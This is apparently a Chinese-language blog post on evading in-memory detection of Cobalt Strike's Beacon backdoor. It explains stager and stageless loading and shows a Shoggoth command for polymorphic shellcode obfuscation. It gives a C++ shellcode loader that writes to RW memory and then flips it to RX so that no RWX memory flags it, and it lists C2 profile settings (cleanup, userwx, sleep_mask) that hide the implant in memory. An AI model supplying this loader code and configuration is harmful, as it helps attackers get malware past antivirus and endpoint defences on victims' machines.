内存特征规避

1.Beacon 加载流程

Stager

分阶段、文件小、行为特征明显

ShellCodeLoader 将 ShellCode 写入了申请的 RWX 内存

ShellCode 运行去下载了一个 Payload,默认分配 RWX 内存

Payload 运行加载 Beacon.dll,默认分配 RWX 内存

Stageless

不分阶段、文件大

ShellCodeLoader 将 ShellCode 写入了申请的 RWX 内存

ShellCode 运行加载 Beacon.dll,默认分配 RWX 内存

2.ShellCode 特征规避

与静态查杀的 ShellCode 特征规避不同,动态运行后 ShellCode 会解密出明文,导致特征的出现

ShellCode 混淆

像 JS 混淆一样,并非仅是密文,而是可以运行的代码

Shoggoth

GitHub - frkngksl/Shoggoth: Shoggoth: Asmjit Based Polymorphic Encryptor

Shoggoth -i ShellCode.bin -s 1234 -o Shoggoth.bin

3.ShellCodeLoader RWX 内存规避

不直接申请 RWX 内存,而是先申请 RW 内存写入 ShellCode,再将内存改为 RX

#include <iostream>

int main() {
    unsigned char buf[] = "ShellCode";

    void* p = VirtualAlloc(NULL, sizeof buf, MEM_COMMIT, PAGE_READWRITE);
    memcpy(p, buf, sizeof buf);

    DWORD oldProtect;
    VirtualProtect((LPVOID)p, sizeof buf, PAGE_EXECUTE_READ, &oldProtect);

    ((void(*)())p)();
}

4.C2Profile

C2Profile 是 Cobalt Strike 后门的配置文件,可以控制后门的特征和行为

内存特征规避

set cleanup "true"; # 自动清除 Stager 下载的 Payload 内存
set userwx "false"; # Beacon.dll 使用 RX 内存
set sleep_mask "true"; # sleep 时间自动加密 Beacon.dll 内存
posted @ 2023-03-22 23:37  Hacker&Cat  阅读(284)  评论(0编辑  收藏  举报